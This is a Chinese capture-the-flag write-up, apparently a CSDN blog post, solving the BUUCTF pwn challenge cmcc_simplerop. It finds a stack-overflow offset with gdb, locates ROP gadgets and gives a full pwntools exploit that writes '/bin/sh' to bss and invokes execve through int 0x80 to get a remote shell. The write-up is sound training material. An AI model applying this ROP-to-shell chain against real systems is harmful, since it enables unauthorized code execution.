BUUCTF----cmcc_simplerop

环境:WSL2,ubuntu16.04,python2

常规checksec文件:
在这里插入图片描述
ida反编译:
在这里插入图片描述
明显看到read函数会导致栈溢出

gdb调试程序:
在这里插入图片描述

用cyclic指令生成100个数字,运行程序:
在这里插入图片描述
求输入点到返回地址的偏移:
在这里插入图片描述
得到偏移是32,即0x20
值得一提的是,在ida中,我们可以看到偏移是0x18+0x04=0x1c,以gdb调试为准
原因可参考:

https://blog.csdn.net/mcmuyanga/article/details/109260008

文件名给了提示,使用ROP

ROPgadget --binary simplerop |grep "int"

使用该命令寻找gadget
在这里插入图片描述
发现可执行中断来进行系统调用:int 0x80
因此可以通过调用execve("/bin/sh",0,0)来getshell

execve在32位中的系统调用号为11
参考:

https://blog.csdn.net/xiaominthere/article/details/17287965

需要寄存器eax,ebx,ecx,edx来存储参数
使用命令:

ROPgadget --binary simplerop |grep "pop eax ; ret"

在这里插入图片描述

ROPgadget --binary simplerop |grep "pop ebx ; ret"在这里插入代码片

在这里插入图片描述

利用read函数将/bin/sh写入bss段再利用int 80h来调用,由于PIE保护没开,所以bss的地址就是绝对地址。
这里read函数也可以用系统自带的,调用号为3,不过程序自带了read函数可以直接用程序自带的

完整exp:

#coding=utf-8
from pwn import *

io = remote("node4.buuoj.cn","26092")

int_addr = 0x080493e1
bss = 0x080eaf80
pop_edx_ecx_ebx = 0x0806e850
read_addr = 0x0806cd50
pop_eax = 0x080bae06

#调用read函数
payload = 0x20*'a'+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss)+p32(8)
#int 80h中断
payload += p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(int_addr)

io.sendline(payload)

io.send("/bin/sh\x00")
io.interactive()
~                     

结果:
在这里插入图片描述

参考:

https://www.cnblogs.com/bhxdn/p/12330142.html
https://blog.csdn.net/github_36788573/article/details/104512306

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值